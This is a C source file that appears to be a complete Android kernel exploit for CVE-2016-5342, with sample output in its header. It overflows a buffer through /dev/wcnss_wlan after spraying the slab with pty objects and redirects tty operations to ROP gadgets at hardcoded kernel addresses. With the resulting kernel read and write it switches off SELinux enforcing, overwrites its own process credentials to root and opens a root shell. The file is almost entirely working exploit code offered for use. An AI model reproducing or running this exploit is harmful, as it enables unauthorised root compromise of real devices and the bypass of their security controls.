CVE-2016-5342/exploit_tty_bypass_pxn.c

/*
 *  Author: freener.gdx@gmail.com
 *  Date  : 2016.7
 * 	root@bacon:/data/local/tmp # ./exploit_tty_bypass_pxn                          
 *	[+] Exploit Test Begain
 *	[+] Spray Kmalloc-1024 Slab
 *	[+] Ret2dir Spray ...
 *	[+] Modify Operation from 0 to c04dbe88
 *	[+] Release one object in slab
 *	[+] Bang!!! Overflow!!!
 *	[+] Try to get the control
 *	[+] OverWrite Success ptm
 *	[+] SELINUX = 1
 *	[+] CRED address : e702df80
 *	[+] Change to ROP_WRITE
 *	[+] Modify Operation from c04dbe88 to c0760fe4
 *	[+] Close Selinux
 *	[+] Modify CRED
 *	[+] Root Success
 *	root@bacon:/data/local/tmp # 
 */

#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/prctl.h>

#define PHYS_OFFSET 0xC0000000

#define TTY_MAGIC 0x5401

#define ONEOFF_ALLOCS ( 8 * 20 + 7 )
#define UNLUCKLY_ONE  ( ONEOFF_ALLOCS - 2 )

#define SELINUX_ENFORCING (0xC16A7070)

#define INIT_TASK_ADDRESS (0xC14F6040)
#define COMM_OFFSET ( 0xC14F635C - INIT_TASK_ADDRESS )
#define TASK_OFFSET ( 0xC14F6218 - INIT_TASK_ADDRESS )
#define PID_OFFSET  ( 0x0 )
#define CRED_OFFSET ( COMM_OFFSET - 8 )

int effect_fd = 0;
char *mmap_base = NULL;
/**
 *
 *   ROP_READ
 *   C04DBE88  LDR  R0, [R2]
 *   C04DBE8C  BX   LR
 */
#define ROP_READ  ( 0xC04DBE88 )
unsigned int kernel_read( unsigned int dummy, unsigned int address )
{
    unsigned int value;
    value = ioctl( effect_fd, dummy, address );
    return value;
}

/**
 *   ROP_WRITE GATGAD
 *   C0760FE4   STR R2, [R1]
 *   C0760FE8   BX  LR
 */
#define ROP_WRITE ( 0xC0760FE4 )
void kernel_write( unsigned int address, unsigned int value )
{
    ioctl( effect_fd, address, value );
}

void ready_operation( unsigned int operation )
{
    if ( operation != ROP_READ && operation != ROP_WRITE ) {
        printf( "[-] Invalid Operation\n" );
        return;
    }

    printf( "[+] Modify Operation from %x to ", *(unsigned int*)mmap_base );
    int i, z;
    for ( i=0; i< 256 * 800 * 4; i++ ) {
        for ( z=0; z<64; z++ )
            *(unsigned int *)(mmap_base + i * 1024 + z * 4) = operation;
    }
    printf( "%x\n", *(unsigned int *)mmap_base );
}

int openpty(int* master, int* slave, char* name ) {
  *master = getpt();
  if (*master == -1) {
    return -1;
  }

  if (grantpt(*master) == -1 || unlockpt(*master) == -1) {
    close(*master);
    return -1;
  }

  char buf[32];
  if (name == NULL) {
    name = buf;
  }
  if (ptsname_r(*master, name, sizeof(buf)) != 0) {
    close(*master);
    return -1;
  }

  *slave = open(name, O_RDWR|O_NOCTTY);
  if (*slave == -1) {
    close(*master);
    return -1;
  }

  return 0;
}

char *name = "freener_pwn0";
int main() {

    pid_t self;
    self = getpid();

    prctl( PR_SET_NAME, (unsigned long)name, 0, 0, 0 );
    printf( "[+] Exploit Test Begain\n" );

    printf( "[+] Spray Kmalloc-1024 Slab\n" );
    int i;
    int ptm_fds[ONEOFF_ALLOCS];
    int pts_fds[ONEOFF_ALLOCS];
    for (i = 0; i < ONEOFF_ALLOCS; ++i) {
        if (openpty(&ptm_fds[i], &pts_fds[i], NULL) == -1) {
            puts("[-] pty creation failed");
            return 1;
        }
    }

    int fd_wlan;
    fd_wlan = open( "/dev/wcnss_wlan", O_RDWR | O_NOCTTY );
    if ( fd_wlan < 0 ) {
        printf( "[-] Can not open /dev/wcnss_wlan\n" );
        return -1;
    }

    char *buffer1 = NULL;
    int message1_len = 1024 +  28 ;
    buffer1 = (char *)malloc( message1_len );
    if ( buffer1 == NULL ) {
        printf("[-] Failed to create message\n" );
        return -1;
    }
    memset( buffer1, 0, message1_len );

    unsigned int kernelAddress;
    kernelAddress = PHYS_OFFSET + 760 * 1024 * 1024 - PAGE_SIZE;
    int length = 1024;
    *(unsigned int *)buffer1 = length;
    *(unsigned int *)(buffer1 + length )     = TTY_MAGIC;
    *(unsigned int *)(buffer1 + length + 4)  = 0xDEADBEEF;
    *(unsigned int *)(buffer1 + length + 8)  = kernelAddress;
    *(unsigned int *)(buffer1 + length + 12) = kernelAddress;
    *(unsigned int *)(buffer1 + length + 16) = kernelAddress;
    *(unsigned int *)(buffer1 + length + 1024 )     = TTY_MAGIC;
    *(unsigned int *)(buffer1 + length + 1024 + 4)  = 0x1337;
    *(unsigned int *)(buffer1 + length + 1024 + 8)  = kernelAddress;
    *(unsigned int *)(buffer1 + length + 1024 + 12) = kernelAddress;
    *(unsigned int *)(buffer1 + length + 1024 + 16) = kernelAddress;

    printf( "[+] Ret2dir Spray ...\n" );
    int j;

    length = (size_t)PAGE_SIZE * 256 * 800;
    mmap_base = mmap( NULL, length, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, (off_t)0 );
    if ( mmap_base == MAP_FAILED ) {
            printf( "[-] MMAP Failed\n" );
            perror( "[-]" );
            return -1;
    }
    ready_operation( ROP_READ );

    printf( "[+] Release one object in slab\n" );
    close( ptm_fds[UNLUCKLY_ONE] );
    close( pts_fds[UNLUCKLY_ONE] );

    printf( "[+] Bang!!! Overflow!!!\n" );
    int count = 0;
    count = write( fd_wlan, buffer1, message1_len + 4 );
    
    printf( "[+] Try to get the control\n" );
    
    unsigned int value;
    if ( (value = ioctl( ptm_fds[UNLUCKLY_ONE+1], 0xdeadbeef, kernelAddress + 50*4 )) == ROP_READ ) {
        printf( "[+] OverWrite Success ptm\n" );
        effect_fd = ptm_fds[UNLUCKLY_ONE + 1];
    }
    else if ( (value=ioctl( pts_fds[UNLUCKLY_ONE+1], 0xdeadbeef, kernelAddress + 50*4)) == ROP_READ ){
        printf( "[+] OverWrite Success pts\n" );
        effect_fd = pts_fds[UNLUCKLY_ONE + 1];
    }

    if ( effect_fd == 0 ) {
        printf( "[+] OverWrite Failed\n" );
        return -1;
    }

    unsigned int selinux;
    selinux = kernel_read( 0xBBBBBBBB, SELINUX_ENFORCING ); //ioctl( effect_fd, 0xBBBBBBBB, SELINUX_ENFORCING );
    printf( "[+] SELINUX = %d\n", selinux );

    /**
     *   Find MySelf
     */
    unsigned int task = 0;
    task = kernel_read( 0x10000001, (INIT_TASK_ADDRESS + TASK_OFFSET) );
    unsigned int cred = 0;
    unsigned int magic = 0;
    unsigned int magic1 = 0;
    unsigned int comm_address = 0;
    char comm_name[17] = { 0 };
    unsigned int comm_part_one = 0, comm_part_two = 0, comm_part_three = 0;
    do {
        //printf( "[+] TASK Address : %x\n", task );

        comm_address = task - TASK_OFFSET + COMM_OFFSET;
        //printf( "[+] Comm Address : %x\n", comm_address );
        comm_part_one = kernel_read( 0x20000002, task - TASK_OFFSET + COMM_OFFSET );
        comm_part_two = kernel_read( 0x20000002, task - TASK_OFFSET + COMM_OFFSET + 4 );
        comm_part_three  = kernel_read( 0x20000002, task - TASK_OFFSET + COMM_OFFSET +8 );
        (*(unsigned int *)comm_name) = comm_part_one;
        (*(unsigned int *)(comm_name+4)) = comm_part_two;
        (*(unsigned int *)(comm_name+8)) = comm_part_three;

        //printf( "[+] Command line : %s\n", comm_name );

        if ( comm_part_one == 0x65657266 &&
             comm_part_two == 0x5F72656E &&
             comm_part_three == 0x306E7770 ) {
            cred = kernel_read( 0x30000003, task - TASK_OFFSET + CRED_OFFSET ); 
            printf( "[+] CRED address : %x\n", cred );
            magic = kernel_read( 0x40000004, cred + 12 );     
            break;
        }
        task = kernel_read( 0x20000002, task - TASK_OFFSET + TASK_OFFSET ); 
    } while ( task != (INIT_TASK_ADDRESS + TASK_OFFSET) );


    if ( task == INIT_TASK_ADDRESS ) {
        printf( "[-] Do not find myself\n" );
    }
    if ( cred == 0 ) {
        printf( "[-] Do not get CRED address\n" );
        return -1;
    }

    if (  magic != 0x43736564 || magic != 0x44656144 ) {
        magic = 4;
    }
    else {
        magic = 16;
    }

    printf( "[+] Change to ROP_WRITE\n" );
    ready_operation( ROP_WRITE );

    printf( "[+] Close Selinux\n" );
    kernel_write( SELINUX_ENFORCING, 0x0 );

    printf( "[+] Modify CRED\n" );

    for ( i=0; i<17; i++ ) {
        if ( i < 8 ) {
            kernel_write( cred + magic + i*4, 0x0 );
        }
        else if ( i == 8 ) {
            continue;
        }
        else {
            kernel_write( cred + magic + i*4, 0xFFFFFFFF );
        }
    }

    if ( getuid() == 0 ) {
        printf( "[+] Root Success\n" );
        execl( "/system/bin/sh", "/system/bin/sh", NULL );
        return 1;
    }

    printf( "[+] Failed \n" );

    return 0;
}